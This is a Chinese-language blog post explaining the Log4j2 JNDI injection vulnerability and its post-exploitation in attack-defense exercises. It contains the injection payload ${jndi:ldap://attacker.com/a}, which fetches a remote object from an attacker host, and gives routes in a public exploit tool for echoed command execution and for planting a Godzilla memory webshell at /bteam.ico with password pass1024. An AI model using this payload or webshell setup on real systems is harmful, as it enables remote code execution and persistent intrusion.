作为一个2年多前的漏洞,慢慢也开始替代shiro反序列化漏洞出现在各个攻防的场景,就该漏洞的后利用作出描述。
漏洞原理
JNDI
全称为:Java Naming and Directory Interface ,java命名和目录接口,刚开始我也始终不理解这个功能的含义,后面发现不必太过纠结于此,更多的是,心里有这么个东西即可,大概可以知道,jndi其实是一个Java应用程序的编程接口,也就是API,用于访问命名和目录服务。
示例:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.SQLException;
public class JndiExample {
public static void main(String[] args) {
try {
// 创建初始上下文
Context ctx = new InitialContext();
// 查找数据源
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/MyDataSource");
// 获取数据库连接
try (Connection conn = ds.getConnection()) {
System.out.println("Connected to the database!");
} catch (SQLException e) {
e.printStackTrace();
}
} catch (NamingException e) {
e.printStackTrace();
}
}
}
在上述示例中,InitialContext用于查找命名为java:comp/env/jdbc/MyDataSource的数据源,然后通过该数据源获取数据库连接。
LDAP
英文全称:Lightweight directory Access Protocol,中文全称:轻量级目录访问协议,是一种应用协议,是JNDI的一种底层实现
关键
1. JNDI Lookup:Log4j 2具有一个特性,可以在日志消息中使用${jndi:...}进行JNDI查找。这个查找功能允许从LDAP、RMI等目录服务中检索对象。
2. JNDI注入:如果日志消息包含一个未受信任的输入,并且该输入包含${jndi:ldap://attacker.com/a},Log4j 2将尝试进行JNDI查找。
3. 远程代码执行:如果攻击者控制了LDAP服务器或其他JNDI兼容的服务器,服务器可以返回一个恶意的Java对象。当Log4j 2从LDAP服务器接收到这个恶意对象时,它会在本地反序列化和执行这个对象,从而导致远程代码执行。
漏洞利用
探测
一般来说,可以利用各种burp插件或者被动扫描工具如xray(需要配置反向服务器)等进行漏洞探测,因为该漏洞可能会存在于http协议的任何位置。
漏洞存在,dnslog一般都会收到请求:
如果收到请求基本可以判断漏洞存在,随机进行后利用。
后利用
在确认漏洞存在后,可根据目标所使用的不同框架进行利用常见的有:toncat,springboot等。基本利用方式有:反弹shell,有回显命令执行,内存马注入。反弹shell一般只能用于Linux主机,并且动静过大很容易被安全设备检测出,当然了,其他也是半斤八两。
此次利用所需的工具为:JNDIExploit-1.4-SNAPSHOT.jar
在服务器运行该工具,会现实各种可以利用的payload,根据不同需求使用:
命令执行
这里直接使用/TomcatBypass/TomcatEcho进行有回显命令执行:
内存马注入
使用/TomcatBypass/GodzillaMemshell,可以直接打入哥斯拉内存马,路径为/bteam.ico,密码为pass1024。